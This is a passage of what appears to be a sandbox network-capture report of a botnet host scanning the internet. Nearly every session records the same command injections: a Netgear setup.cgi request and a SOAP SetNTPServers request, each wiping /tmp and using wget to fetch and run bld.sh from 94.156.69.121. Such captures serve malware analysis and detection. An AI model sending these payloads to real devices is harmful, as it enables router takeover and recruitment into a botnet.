OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	58624	179.248.21.209	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.798461914 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	42842	161.216.24.152	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.808398008 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	55086	161.162.248.83	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.808600903 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	56376	172.232.192.147	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.808768034 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	46044	223.253.29.230	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.815577030 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	46092	70.39.73.230	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.815951109 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	55280	92.75.113.53	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.816137075 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	40438	67.140.86.163	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.824628115 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	54828	120.150.56.239	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.824826956 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	46664	195.77.65.85	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:21.835593939 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	51948	116.226.148.139	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:22.535367966 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	49760	79.181.64.177	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.853178024 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	42902	212.157.243.249	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.863250017 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	34054	162.149.75.143	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.863432884 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	56124	187.122.126.182	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.864023924 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	37974	190.194.32.69	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.868733883 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	51314	94.64.108.93	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.873653889 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	40160	153.164.240.20	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.873857021 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	49966	125.206.78.212	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.886118889 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	34812	68.76.139.15	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.886346102 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	39316	0.75.64.226	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:25.890630960 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	41858	185.209.119.13	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:26.534121990 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	52346	24.251.147.243	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.910095930 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	47138	154.23.242.68	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.916136980 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	44462	89.85.226.238	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.916301966 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	45080	179.119.184.117	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.925055981 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	53302	175.18.134.48	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.925219059 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	59368	93.190.193.253	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.929852009 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	42656	177.182.128.57	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.930007935 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	56294	64.212.241.177	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.932177067 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	35306	207.94.207.250	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.932328939 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	56980	124.100.118.182	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:41.932503939 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	43160	52.202.133.44	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:42.562517881 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	57526	83.11.221.243	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.961838961 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	53198	71.233.136.40	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971648932 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	58524	122.162.113.221	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971702099 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	46026	14.177.163.72	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971731901 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	48068	189.4.157.248	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971731901 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	38126	109.45.76.241	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971731901 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	37472	99.25.245.78	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971731901 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	35128	220.29.203.141	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971745968 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	60990	73.172.48.71	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.971745968 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	58108	194.14.60.110	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:45.976438999 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	47604	42.75.111.36	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:46.582518101 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	58208	162.239.103.178	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.976787090 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	36242	68.23.36.248	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.976810932 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	44822	156.100.233.230	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:49.976838112 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	39412	140.221.230.138	80

